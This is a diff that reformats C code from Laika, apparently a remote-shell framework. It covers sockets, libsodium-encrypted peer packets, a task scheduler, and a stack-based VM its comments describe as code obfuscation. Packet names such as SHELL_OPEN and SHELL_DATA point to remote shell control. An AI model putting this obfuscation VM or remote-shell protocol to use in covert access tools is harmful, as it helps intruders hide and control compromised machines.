||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
|
||||
struct sLaika_pollList *pList, pollFailEvent onPollFail,
|
||||
void *onPollFailUData, void *uData);
|
||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||
|
||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
|
||||
LAIKAPKT_ID id); /* for sending packets with no body */
|
||||
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
||||
int laikaS_endOutPacket(struct sLaika_peer *peer);
|
||||
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
||||
|
@@ -1,22 +1,24 @@
|
||||
#ifndef LAIKA_POLLLIST_H
|
||||
#define LAIKA_POLLLIST_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "hashmap.h"
|
||||
#include "laika.h"
|
||||
#include "lsocket.h"
|
||||
#include "hashmap.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
/* number of pollFDs or epollFDs we expect to start with */
|
||||
#define POLLSTARTCAP 8
|
||||
|
||||
struct sLaika_pollEvent {
|
||||
struct sLaika_pollEvent
|
||||
{
|
||||
struct sLaika_socket *sock;
|
||||
bool pollIn;
|
||||
bool pollOut;
|
||||
};
|
||||
|
||||
struct sLaika_pollList {
|
||||
struct sLaika_pollList
|
||||
{
|
||||
struct hashmap *sockets;
|
||||
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
|
||||
struct sLaika_pollEvent *revents;
|
||||
|
@@ -4,57 +4,58 @@
|
||||
/* socket/winsock headers */
|
||||
#ifdef _WIN32
|
||||
/* windows */
|
||||
# ifndef NOMINMAX
|
||||
# define NOMINMAX
|
||||
# endif
|
||||
# define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||
# include <winsock2.h>
|
||||
# include <windows.h>
|
||||
# include <ws2tcpip.h>
|
||||
# pragma comment(lib, "Ws2_32.lib")
|
||||
# ifndef NOMINMAX
|
||||
# define NOMINMAX
|
||||
# endif
|
||||
# define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||
# include <windows.h>
|
||||
# include <winsock2.h>
|
||||
# include <ws2tcpip.h>
|
||||
# pragma comment(lib, "Ws2_32.lib")
|
||||
|
||||
typedef char buffer_t;
|
||||
# define PollFD WSAPOLLFD
|
||||
# define poll WSAPoll
|
||||
# define LN_ERRNO WSAGetLastError()
|
||||
# define LN_EWOULD WSAEWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL 0
|
||||
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
||||
# define SOCKETERROR(x) (x == SOCKET_ERROR)
|
||||
typedef char buffer_t;
|
||||
# define PollFD WSAPOLLFD
|
||||
# define poll WSAPoll
|
||||
# define LN_ERRNO WSAGetLastError()
|
||||
# define LN_EWOULD WSAEWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL 0
|
||||
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
||||
# define SOCKETERROR(x) (x == SOCKET_ERROR)
|
||||
#else
|
||||
/* posix platform */
|
||||
# include <sys/types.h>
|
||||
# include <sys/socket.h>
|
||||
# include <netdb.h>
|
||||
# include <netinet/in.h>
|
||||
# include <arpa/inet.h>
|
||||
# include <poll.h>
|
||||
# ifdef __linux__
|
||||
# include <sys/epoll.h>
|
||||
/* max events for epoll() */
|
||||
# define MAX_EPOLL_EVENTS 128
|
||||
# define LAIKA_USE_EPOLL
|
||||
# endif
|
||||
# include <unistd.h>
|
||||
# include <errno.h>
|
||||
# include <arpa/inet.h>
|
||||
# include <netdb.h>
|
||||
# include <netinet/in.h>
|
||||
# include <poll.h>
|
||||
# include <sys/socket.h>
|
||||
# include <sys/types.h>
|
||||
# ifdef __linux__
|
||||
# include <sys/epoll.h>
|
||||
/* max events for epoll() */
|
||||
# define MAX_EPOLL_EVENTS 128
|
||||
# define LAIKA_USE_EPOLL
|
||||
# endif
|
||||
# include <errno.h>
|
||||
# include <unistd.h>
|
||||
|
||||
typedef int SOCKET;
|
||||
typedef void buffer_t;
|
||||
# define PollFD struct pollfd
|
||||
# define LN_ERRNO errno
|
||||
# define LN_EWOULD EWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
||||
# define INVALID_SOCKET -1
|
||||
# define SOCKETINVALID(x) (x < 0)
|
||||
# define SOCKETERROR(x) (x == -1)
|
||||
typedef int SOCKET;
|
||||
typedef void buffer_t;
|
||||
# define PollFD struct pollfd
|
||||
# define LN_ERRNO errno
|
||||
# define LN_EWOULD EWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
||||
# define INVALID_SOCKET -1
|
||||
# define SOCKETINVALID(x) (x < 0)
|
||||
# define SOCKETERROR(x) (x == -1)
|
||||
#endif
|
||||
#include <fcntl.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "laika.h"
|
||||
#include "lsodium.h"
|
||||
|
||||
typedef enum {
|
||||
#include <fcntl.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
typedef enum
|
||||
{
|
||||
RAWSOCK_OK,
|
||||
RAWSOCK_ERROR,
|
||||
RAWSOCK_CLOSED,
|
||||
@@ -64,14 +65,15 @@ typedef enum {
|
||||
typedef bool (*pollEvent)(struct sLaika_socket *sock);
|
||||
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
|
||||
|
||||
struct sLaika_socket {
|
||||
struct sLaika_socket
|
||||
{
|
||||
SOCKET sock; /* raw socket fd */
|
||||
pollFailEvent onPollFail;
|
||||
pollEvent onPollIn;
|
||||
pollEvent onPollOut;
|
||||
void *uData; /* passed to onPollFail */
|
||||
void *uData; /* passed to onPollFail */
|
||||
uint8_t *outBuf; /* raw data to be sent() */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
int outCount;
|
||||
int inCount;
|
||||
int outCap;
|
||||
@@ -87,24 +89,31 @@ bool laikaS_isBigEndian(void);
|
||||
void laikaS_init(void);
|
||||
void laikaS_cleanUp(void);
|
||||
|
||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData);
|
||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
|
||||
pollFailEvent onPollFail, void *uData);
|
||||
void laikaS_cleanSocket(struct sLaika_socket *sock);
|
||||
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
|
||||
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
|
||||
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
|
||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
|
||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock);
|
||||
|
||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
|
||||
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
||||
void laikaS_consumeRead(struct sLaika_socket *sock,
|
||||
size_t sz); /* throws sz bytes away from the inBuf */
|
||||
void laikaS_zeroWrite(struct sLaika_socket *sock,
|
||||
size_t sz); /* writes sz NULL bytes to the outBuf */
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz,
|
||||
uint8_t *pub); /* encrypts & writes from buf using pub key */
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
|
||||
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
||||
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
|
||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
|
||||
size_t sz); /* reads INT, respecting endianness */
|
||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
|
||||
size_t sz); /* writes INT, respecting endianness */
|
||||
|
||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||
|
@@ -1,13 +1,15 @@
|
||||
#ifndef LAIKA_TASK_H
|
||||
#define LAIKA_TASK_H
|
||||
|
||||
#include <time.h>
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
||||
#include <time.h>
|
||||
|
||||
struct sLaika_task {
|
||||
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||
clock_t currTick, void *uData);
|
||||
|
||||
struct sLaika_task
|
||||
{
|
||||
struct sLaika_task *next;
|
||||
taskCallback callback;
|
||||
void *uData;
|
||||
@@ -15,14 +17,16 @@ struct sLaika_task {
|
||||
int delta;
|
||||
};
|
||||
|
||||
struct sLaika_taskService {
|
||||
struct sLaika_taskService
|
||||
{
|
||||
struct sLaika_task *headTask;
|
||||
};
|
||||
|
||||
void laikaT_initTaskService(struct sLaika_taskService *service);
|
||||
void laikaT_cleanTaskService(struct sLaika_taskService *service);
|
||||
|
||||
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData);
|
||||
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
|
||||
taskCallback callback, void *uData);
|
||||
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task);
|
||||
|
||||
void laikaT_pollTasks(struct sLaika_taskService *service);
|
||||
|
@@ -5,50 +5,63 @@
|
||||
This is an obfuscation technique where vital code can be executed in a
|
||||
stack-based VM, inlined into the function. The VM instruction-set is fairly
|
||||
simple, see the OP_* enum for avaliable opcodes and their expected arguments.
|
||||
The VM is turing-complete, however the instruction-set has been curated to
|
||||
The VM is turing-complete, however the instruction-set has been curated to
|
||||
fit this specific use case.
|
||||
*/
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#include "laika.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#define LAIKA_VM_STACKSIZE 64
|
||||
#define LAIKA_VM_CONSTSIZE 32
|
||||
|
||||
struct sLaikaV_vm_val {
|
||||
union {
|
||||
struct sLaikaV_vm_val
|
||||
{
|
||||
union
|
||||
{
|
||||
uint8_t i;
|
||||
uint8_t *ptr;
|
||||
};
|
||||
};
|
||||
|
||||
struct sLaikaV_vm {
|
||||
struct sLaikaV_vm
|
||||
{
|
||||
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
|
||||
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
|
||||
uint8_t code[LAIKA_VM_CODESIZE];
|
||||
int pc;
|
||||
};
|
||||
|
||||
#define LAIKA_MAKE_VM(_consts, _code) {.constList = _consts, .code = _code, .pc = 0, .stack = {0}}
|
||||
#define LAIKA_MAKE_VM(_consts, _code) \
|
||||
{ \
|
||||
.constList = _consts, .code = _code, .pc = 0, .stack = { 0 } \
|
||||
}
|
||||
|
||||
/* constants */
|
||||
#define LAIKA_MAKE_VM_INT(_i) {.i = _i}
|
||||
#define LAIKA_MAKE_VM_PTR(_ptr) {.ptr = _ptr}
|
||||
#define LAIKA_MAKE_VM_INT(_i) \
|
||||
{ \
|
||||
.i = _i \
|
||||
}
|
||||
#define LAIKA_MAKE_VM_PTR(_ptr) \
|
||||
{ \
|
||||
.ptr = _ptr \
|
||||
}
|
||||
/* instructions */
|
||||
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
|
||||
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
|
||||
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
|
||||
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
|
||||
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
|
||||
|
||||
enum {
|
||||
enum
|
||||
{
|
||||
OP_EXIT,
|
||||
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
|
||||
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
|
||||
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
|
||||
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
|
||||
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
|
||||
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
|
||||
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
|
||||
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
|
||||
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
|
||||
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
|
||||
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
|
||||
|
||||
/* arithmetic */
|
||||
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
|
||||
@@ -68,83 +81,93 @@ enum {
|
||||
#endif
|
||||
};
|
||||
|
||||
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) {
|
||||
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
|
||||
{
|
||||
|
||||
#define READBYTE (vm->code[vm->pc++])
|
||||
#define BINOP(x) { \
|
||||
uint8_t a = READBYTE; \
|
||||
uint8_t b = READBYTE; \
|
||||
uint8_t c = READBYTE; \
|
||||
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
|
||||
break; \
|
||||
}
|
||||
#define BINOP(x) \
|
||||
{ \
|
||||
uint8_t a = READBYTE; \
|
||||
uint8_t b = READBYTE; \
|
||||
uint8_t c = READBYTE; \
|
||||
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
|
||||
break; \
|
||||
}
|
||||
|
||||
while (vm->code[vm->pc]) {
|
||||
switch (vm->code[vm->pc++]) {
|
||||
case OP_LOADCONST: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t constIndx = READBYTE;
|
||||
vm->stack[indx] = vm->constList[constIndx];
|
||||
break;
|
||||
}
|
||||
case OP_PUSHLIT: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t lit = READBYTE;
|
||||
vm->stack[indx].i = lit;
|
||||
break;
|
||||
}
|
||||
case OP_READ: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[indx].i = *vm->stack[ptr].ptr;
|
||||
break;
|
||||
}
|
||||
case OP_WRITE: {
|
||||
uint8_t ptr = READBYTE;
|
||||
uint8_t indx = READBYTE;
|
||||
*vm->stack[ptr].ptr = vm->stack[indx].i;
|
||||
break;
|
||||
}
|
||||
case OP_INCPTR: {
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[ptr].ptr++;
|
||||
break;
|
||||
}
|
||||
case OP_DECPTR: {
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[ptr].ptr--;
|
||||
break;
|
||||
}
|
||||
case OP_ADD: BINOP(+);
|
||||
case OP_SUB: BINOP(-);
|
||||
case OP_MUL: BINOP(*);
|
||||
case OP_DIV: BINOP(/);
|
||||
case OP_AND: BINOP(&);
|
||||
case OP_OR: BINOP(|);
|
||||
case OP_XOR: BINOP(^);
|
||||
case OP_TESTJMP: {
|
||||
uint8_t indx = READBYTE;
|
||||
int8_t jmp = READBYTE;
|
||||
case OP_LOADCONST: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t constIndx = READBYTE;
|
||||
vm->stack[indx] = vm->constList[constIndx];
|
||||
break;
|
||||
}
|
||||
case OP_PUSHLIT: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t lit = READBYTE;
|
||||
vm->stack[indx].i = lit;
|
||||
break;
|
||||
}
|
||||
case OP_READ: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[indx].i = *vm->stack[ptr].ptr;
|
||||
break;
|
||||
}
|
||||
case OP_WRITE: {
|
||||
uint8_t ptr = READBYTE;
|
||||
uint8_t indx = READBYTE;
|
||||
*vm->stack[ptr].ptr = vm->stack[indx].i;
|
||||
break;
|
||||
}
|
||||
case OP_INCPTR: {
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[ptr].ptr++;
|
||||
break;
|
||||
}
|
||||
case OP_DECPTR: {
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[ptr].ptr--;
|
||||
break;
|
||||
}
|
||||
case OP_ADD:
|
||||
BINOP(+);
|
||||
case OP_SUB:
|
||||
BINOP(-);
|
||||
case OP_MUL:
|
||||
BINOP(*);
|
||||
case OP_DIV:
|
||||
BINOP(/);
|
||||
case OP_AND:
|
||||
BINOP(&);
|
||||
case OP_OR:
|
||||
BINOP(|);
|
||||
case OP_XOR:
|
||||
BINOP(^);
|
||||
case OP_TESTJMP: {
|
||||
uint8_t indx = READBYTE;
|
||||
int8_t jmp = READBYTE;
|
||||
|
||||
/* if stack indx is true, jump by jmp (signed 8-bit int) */
|
||||
if (vm->stack[indx].i)
|
||||
vm->pc += jmp;
|
||||
/* if stack indx is true, jump by jmp (signed 8-bit int) */
|
||||
if (vm->stack[indx].i)
|
||||
vm->pc += jmp;
|
||||
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
case OP_DEBUG: {
|
||||
int i;
|
||||
case OP_DEBUG: {
|
||||
int i;
|
||||
|
||||
/* print stack info */
|
||||
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
|
||||
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
|
||||
/* print stack info */
|
||||
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
|
||||
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
|
||||
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], vm->pc);
|
||||
default:
|
||||
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc],
|
||||
vm->pc);
|
||||
}
|
||||
}
|
||||
|
||||
|
@@ -1,7 +1,9 @@
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz) {
|
||||
#include "lerror.h"
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz)
|
||||
{
|
||||
void *newBuf;
|
||||
|
||||
/* are we free'ing the buffer? */
|
||||
|
@@ -1,20 +1,19 @@
|
||||
#include "lpacket.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
const char* laikaD_getPacketName(LAIKAPKT_ID id) {
|
||||
const char *PKTNAMES[] = {
|
||||
"LAIKAPKT_VARPKT",
|
||||
"LAIKAPKT_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_HANDSHAKE_RES",
|
||||
"LAIKAPKT_PINGPONG",
|
||||
"LAIKAPKT_SHELL_OPEN",
|
||||
"LAIKAPKT_SHELL_CLOSE",
|
||||
"LAIKAPKT_SHELL_DATA",
|
||||
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"
|
||||
};
|
||||
const char *laikaD_getPacketName(LAIKAPKT_ID id)
|
||||
{
|
||||
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
||||
"LAIKAPKT_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_HANDSHAKE_RES",
|
||||
"LAIKAPKT_PINGPONG",
|
||||
"LAIKAPKT_SHELL_OPEN",
|
||||
"LAIKAPKT_SHELL_CLOSE",
|
||||
"LAIKAPKT_SHELL_DATA",
|
||||
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};
|
||||
|
||||
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
|
||||
}
|
||||
|
214
lib/src/lpeer.c
214
lib/src/lpeer.c
@@ -1,16 +1,16 @@
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lpeer.h"
|
||||
|
||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) {
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
|
||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
|
||||
struct sLaika_pollList *pList, pollFailEvent onPollFail,
|
||||
void *onPollFailUData, void *uData)
|
||||
{
|
||||
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
||||
|
||||
laikaS_initSocket(&peer->sock,
|
||||
laikaS_handlePeerIn,
|
||||
laikaS_handlePeerOut,
|
||||
onPollFail,
|
||||
onPollFailUData
|
||||
);
|
||||
laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail,
|
||||
onPollFailUData);
|
||||
|
||||
peer->packetTbl = pktTbl;
|
||||
peer->pList = pList;
|
||||
@@ -31,14 +31,16 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct
|
||||
return peer;
|
||||
}
|
||||
|
||||
void laikaS_freePeer(struct sLaika_peer *peer) {
|
||||
void laikaS_freePeer(struct sLaika_peer *peer)
|
||||
{
|
||||
laikaS_cleanSocket(&peer->sock);
|
||||
laikaM_free(peer);
|
||||
}
|
||||
|
||||
/* ===================================[[ Start/End Packets ]]=================================== */
|
||||
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||
{
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
laikaS_writeByte(sock, id);
|
||||
@@ -47,7 +49,8 @@ void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
laikaP_pushOutQueue(peer->pList, &peer->sock);
|
||||
}
|
||||
|
||||
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||
{
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->outStart != -1) /* sanity check */
|
||||
@@ -56,27 +59,31 @@ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
laikaS_writeByte(sock, id);
|
||||
|
||||
peer->outStart = sock->outCount;
|
||||
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
|
||||
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the
|
||||
packet ID */
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES];
|
||||
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
|
||||
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
|
||||
}
|
||||
}
|
||||
|
||||
int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
||||
int laikaS_endOutPacket(struct sLaika_peer *peer)
|
||||
{
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
uint8_t *body;
|
||||
size_t sz;
|
||||
|
||||
if (peer->useSecure) {
|
||||
/* make sure we have enough space */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
|
||||
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount,
|
||||
sock->outCap);
|
||||
|
||||
/* packet body starts after the id & nonce */
|
||||
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
|
||||
/* encrypt packet body in-place */
|
||||
if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
|
||||
if (crypto_secretbox_easy(body, body,
|
||||
(sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
|
||||
LAIKA_ERROR("Failed to encrypt packet!\n");
|
||||
}
|
||||
|
||||
@@ -92,28 +99,33 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||
{
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->outStart != -1) /* sanity check */
|
||||
LAIKA_ERROR("unended OUT packet!\n");
|
||||
|
||||
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
|
||||
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
|
||||
laikaS_zeroWrite(sock,
|
||||
sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
|
||||
laikaS_startOutPacket(peer, id);
|
||||
}
|
||||
|
||||
int laikaS_endVarPacket(struct sLaika_peer *peer) {
|
||||
int laikaS_endVarPacket(struct sLaika_peer *peer)
|
||||
{
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
int patchIndx = peer->outStart - (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
|
||||
int patchIndx = peer->outStart -
|
||||
(sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
|
||||
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
|
||||
|
||||
/* patch packet size */
|
||||
memcpy((void*)&sock->outBuf[patchIndx], (void*)&sz, sizeof(LAIKAPKT_SIZE));
|
||||
memcpy((void *)&sock->outBuf[patchIndx], (void *)&sz, sizeof(LAIKAPKT_SIZE));
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
|
||||
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic)
|
||||
{
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->inStart != -1) /* sanity check */
|
||||
@@ -126,7 +138,8 @@ void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
|
||||
peer->inStart = sock->inCount;
|
||||
}
|
||||
|
||||
int laikaS_endInPacket(struct sLaika_peer *peer) {
|
||||
int laikaS_endInPacket(struct sLaika_peer *peer)
|
||||
{
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
uint8_t *body;
|
||||
size_t sz = sock->inCount - peer->inStart;
|
||||
@@ -135,7 +148,8 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
|
||||
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
|
||||
|
||||
/* decrypt packet body in-place */
|
||||
if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
|
||||
if (crypto_secretbox_open_easy(
|
||||
body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
|
||||
LAIKA_ERROR("Failed to decrypt packet!\n");
|
||||
}
|
||||
@@ -153,113 +167,119 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
|
||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag)
|
||||
{
|
||||
peer->useSecure = flag;
|
||||
}
|
||||
|
||||
/* ==================================[[ Handle Poll Events ]]=================================== */
|
||||
|
||||
